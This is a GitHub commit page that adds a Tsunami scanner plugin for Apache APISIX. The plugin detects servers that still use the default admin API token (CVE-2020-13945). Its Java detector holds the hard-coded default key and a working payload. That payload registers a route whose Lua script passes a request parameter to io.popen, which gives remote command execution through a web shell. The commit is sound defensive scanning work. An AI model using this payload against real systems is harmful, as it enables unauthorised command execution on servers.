Skip to content

Commit d64e8c2

Browse files
Merge pull request #523 from hh-hunter:cve_2020_13945
PiperOrigin-RevId: 688915895 Change-Id: I51b0efed283a914171b2913806925809ddbb8e07
2 parents 92374c0 + 8427884 commit d64e8c2

File tree

6 files changed

+463
-0
lines changed

6 files changed

+463
-0
lines changed
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# Apache APISIX Default Token RCE Detector
2+
3+
Apache APISIX has a built-in default API KEY. If the user does not proactively
4+
modify it (which few will), Lua scripts can be executed directly through the API
5+
interface, which can lead to RCE vulnerabilities.
6+
7+
## Build jar file for this plugin
8+
9+
Using `gradlew`:
10+
11+
```shell
12+
./gradlew jar
13+
```
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
plugins {
2+
id 'java-library'
3+
}
4+
5+
description = 'Tsunami Apache APISIX RCE (Apache APISIX Default Token) VulnDetector plugin.'
6+
group = 'com.google.tsunami'
7+
version = '0.0.1-SNAPSHOT'
8+
9+
repositories {
10+
maven { // The google mirror is less flaky than mavenCentral()
11+
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
12+
}
13+
mavenCentral()
14+
mavenLocal()
15+
}
16+
17+
java {
18+
sourceCompatibility = JavaVersion.VERSION_11
19+
targetCompatibility = JavaVersion.VERSION_11
20+
21+
jar.manifest {
22+
attributes('Implementation-Title': name,
23+
'Implementation-Version': version,
24+
'Built-By': System.getProperty('user.name'),
25+
'Built-JDK': System.getProperty('java.version'),
26+
'Source-Compatibility': sourceCompatibility,
27+
'Target-Compatibility': targetCompatibility)
28+
}
29+
30+
javadoc.options {
31+
encoding = 'UTF-8'
32+
use = true
33+
links 'https://docs.oracle.com/en/java/javase/11/'
34+
source = '11'
35+
}
36+
37+
// Log stacktrace to console when test fails.
38+
test {
39+
testLogging {
40+
exceptionFormat = 'full'
41+
showExceptions true
42+
showCauses true
43+
showStackTraces true
44+
}
45+
maxHeapSize = '1500m'
46+
}
47+
}
48+
49+
ext {
50+
tsunamiVersion = 'latest.release'
51+
junitVersion = '4.13.1'
52+
okhttpVersion = '3.12.0'
53+
truthVersion = '1.1.3'
54+
}
55+
56+
dependencies {
57+
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
58+
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
59+
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
60+
61+
testImplementation "junit:junit:${junitVersion}"
62+
testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}"
63+
}
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
rootProject.name = 'apache_apisix_default_token'
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
/*
2+
* Copyright 2024 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
package com.google.tsunami.plugins.detectors.rce.apachedefaulttoken;
17+
18+
import static com.google.common.base.Preconditions.checkNotNull;
19+
import static com.google.common.collect.ImmutableList.toImmutableList;
20+
import static com.google.common.net.HttpHeaders.CONTENT_TYPE;
21+
import static com.google.tsunami.common.net.http.HttpRequest.get;
22+
import static com.google.tsunami.common.net.http.HttpRequest.post;
23+
import static java.nio.charset.StandardCharsets.UTF_8;
24+
25+
import com.google.common.annotations.VisibleForTesting;
26+
import com.google.common.collect.ImmutableList;
27+
import com.google.common.flogger.GoogleLogger;
28+
import com.google.common.net.MediaType;
29+
import com.google.common.util.concurrent.Uninterruptibles;
30+
import com.google.protobuf.ByteString;
31+
import com.google.protobuf.util.Timestamps;
32+
import com.google.tsunami.common.data.NetworkServiceUtils;
33+
import com.google.tsunami.common.net.http.HttpClient;
34+
import com.google.tsunami.common.net.http.HttpHeaders;
35+
import com.google.tsunami.common.net.http.HttpResponse;
36+
import com.google.tsunami.common.time.UtcClock;
37+
import com.google.tsunami.plugin.PluginType;
38+
import com.google.tsunami.plugin.VulnDetector;
39+
import com.google.tsunami.plugin.annotations.PluginInfo;
40+
import com.google.tsunami.plugin.payload.Payload;
41+
import com.google.tsunami.plugin.payload.PayloadGenerator;
42+
import com.google.tsunami.proto.DetectionReport;
43+
import com.google.tsunami.proto.DetectionReportList;
44+
import com.google.tsunami.proto.DetectionStatus;
45+
import com.google.tsunami.proto.NetworkService;
46+
import com.google.tsunami.proto.PayloadGeneratorConfig;
47+
import com.google.tsunami.proto.Severity;
48+
import com.google.tsunami.proto.TargetInfo;
49+
import com.google.tsunami.proto.Vulnerability;
50+
import com.google.tsunami.proto.VulnerabilityId;
51+
import java.io.IOException;
52+
import java.net.URLEncoder;
53+
import java.time.Clock;
54+
import java.time.Duration;
55+
import java.time.Instant;
56+
import javax.inject.Inject;
57+
58+
/** A {@link VulnDetector} that detects Apache APISIX Default Admin Token. */
59+
@PluginInfo(
60+
type = PluginType.VULN_DETECTION,
61+
name = "Apache APISIX with default Admin token Detector",
62+
version = "0.1",
63+
description = "This detector checks Apache APISIX with default Admin token.",
64+
author = "hh-hunter",
65+
bootstrapModule = ApacheDefaultTokenDetectorBootstrapModule.class)
66+
public final class ApacheDefaultTokenDetector implements VulnDetector {
67+
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
68+
69+
@VisibleForTesting
70+
static final String VULN_DESCRIPTION =
71+
"APISIX provides REST management API functionality. Users can manage APISIX using the REST"
72+
+ " Admin API. If the REST Admin API is exposed externally and the default hard-coded"
73+
+ " admin_key is not modified, an attacker can use the admin_key to execute arbitrary Lua"
74+
+ " code, leading to remote command execution.";
75+
76+
private static final String VUL_PATH = "apisix/admin/routes";
77+
private static final String POST_DATA =
78+
"{\"uri\":\"/%s\",\"script\":\"local _M = {} \\n"
79+
+ " function _M.access(conf, ctx) \\n"
80+
+ " local os = require('os')\\n"
81+
+ " local args = assert(ngx.req.get_uri_args()) \\n"
82+
+ " local f = assert(io.popen(args.cmd, 'r'))\\n"
83+
+ " local s = assert(f:read('*a'))\\n"
84+
+ " ngx.say(s)\\n"
85+
+ " f:close() \\n"
86+
+ " end \\n"
87+
+ "return _M\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"example.com:80\":1}}}";
88+
private static final String TOKEN_HEADER_NAME = "X-API-KEY";
89+
private static final String TOKEN_VALUE = "edd1c9f034335f136f87ad84b625c8f1";
90+
91+
private final HttpClient httpClient;
92+
93+
private final PayloadGenerator payloadGenerator;
94+
95+
private final Clock utcClock;
96+
97+
@Inject
98+
ApacheDefaultTokenDetector(
99+
@UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) {
100+
this.httpClient = checkNotNull(httpClient);
101+
this.utcClock = checkNotNull(utcClock);
102+
this.payloadGenerator = checkNotNull(payloadGenerator);
103+
}
104+
105+
@Override
106+
public DetectionReportList detect(
107+
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
108+
logger.atInfo().log("Apache APISIX Default Admin Token starts detecting.");
109+
110+
return DetectionReportList.newBuilder()
111+
.addAllDetectionReports(
112+
matchedServices.stream()
113+
.filter(NetworkServiceUtils::isWebService)
114+
.filter(this::isServiceVulnerable)
115+
.map(networkService -> buildDetectionReport(targetInfo, networkService))
116+
.collect(toImmutableList()))
117+
.build();
118+
}
119+
120+
private boolean isServiceVulnerable(NetworkService networkService) {
121+
String targetBaseUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService);
122+
String targetVulnerabilityUrl = targetBaseUrl + VUL_PATH;
123+
String randomVerifyPath = String.format("tsunami_%s", Instant.now(utcClock).toEpochMilli());
124+
PayloadGeneratorConfig config =
125+
PayloadGeneratorConfig.newBuilder()
126+
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE)
127+
.setInterpretationEnvironment(
128+
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
129+
.setExecutionEnvironment(
130+
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
131+
.build();
132+
Payload payload = this.payloadGenerator.generate(config);
133+
134+
String targetExecuteUrl =
135+
targetBaseUrl + randomVerifyPath + "?cmd=" + URLEncoder.encode(payload.getPayload(), UTF_8);
136+
137+
try {
138+
HttpResponse checkIsAPISIXResponse =
139+
httpClient.send(
140+
get(targetVulnerabilityUrl).setHeaders(HttpHeaders.builder().build()).build());
141+
if (!checkIsAPISIXResponse.headers().get("Server").orElse("").contains("APISIX")) {
142+
return false;
143+
}
144+
} catch (IOException | AssertionError e) {
145+
return false;
146+
}
147+
148+
try {
149+
HttpResponse httpResponse =
150+
httpClient.sendAsIs(
151+
post(targetVulnerabilityUrl)
152+
.setHeaders(
153+
HttpHeaders.builder()
154+
.addHeader(CONTENT_TYPE, MediaType.JSON_UTF_8.toString())
155+
.addHeader(TOKEN_HEADER_NAME, TOKEN_VALUE)
156+
.build())
157+
.setRequestBody(
158+
ByteString.copyFromUtf8(String.format(POST_DATA, randomVerifyPath)))
159+
.build());
160+
if (httpResponse.status().code() == 201) {
161+
logger.atInfo().log("Request payload to target %s succeeded", targetBaseUrl);
162+
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(2));
163+
HttpResponse executeResponse =
164+
httpClient.sendAsIs(
165+
get(targetExecuteUrl).setHeaders(HttpHeaders.builder().build()).build());
166+
if (executeResponse.status().code() == 200
167+
&& payload.checkIfExecuted(executeResponse.bodyString().orElse(""))) {
168+
logger.atInfo().log("Vulnerability detected on target %s", targetBaseUrl);
169+
return true;
170+
}
171+
} else {
172+
logger.atInfo().log("Execution of the command to the target %s has failed.", targetBaseUrl);
173+
}
174+
} catch (IOException | AssertionError e) {
175+
logger.atWarning().withCause(e).log("Request to target %s failed", targetBaseUrl);
176+
return false;
177+
}
178+
return false;
179+
}
180+
181+
private DetectionReport buildDetectionReport(
182+
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
183+
return DetectionReport.newBuilder()
184+
.setTargetInfo(targetInfo)
185+
.setNetworkService(vulnerableNetworkService)
186+
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
187+
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
188+
.setVulnerability(
189+
Vulnerability.newBuilder()
190+
.setMainId(
191+
VulnerabilityId.newBuilder()
192+
.setPublisher("TSUNAMI_COMMUNITY")
193+
.setValue("APISIX_DEFAULT_TOKEN"))
194+
.setSeverity(Severity.CRITICAL)
195+
.setTitle("Apache APISIX's Admin API Default Access Token (RCE)")
196+
.setRecommendation(
197+
"Change the default admin API key and set appropriate IP access control lists.")
198+
.setDescription(VULN_DESCRIPTION))
199+
.build();
200+
}
201+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
/*
2+
* Copyright 2024 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
package com.google.tsunami.plugins.detectors.rce.apachedefaulttoken;
17+
18+
import com.google.tsunami.plugin.PluginBootstrapModule;
19+
20+
/** A {@link PluginBootstrapModule} for {@link ApacheDefaultTokenDetector}. */
21+
public final class ApacheDefaultTokenDetectorBootstrapModule extends PluginBootstrapModule {
22+
23+
@Override
24+
protected void configurePlugin() {
25+
registerPlugin(ApacheDefaultTokenDetector.class);
26+
}
27+
}

0 commit comments

Comments
 (0)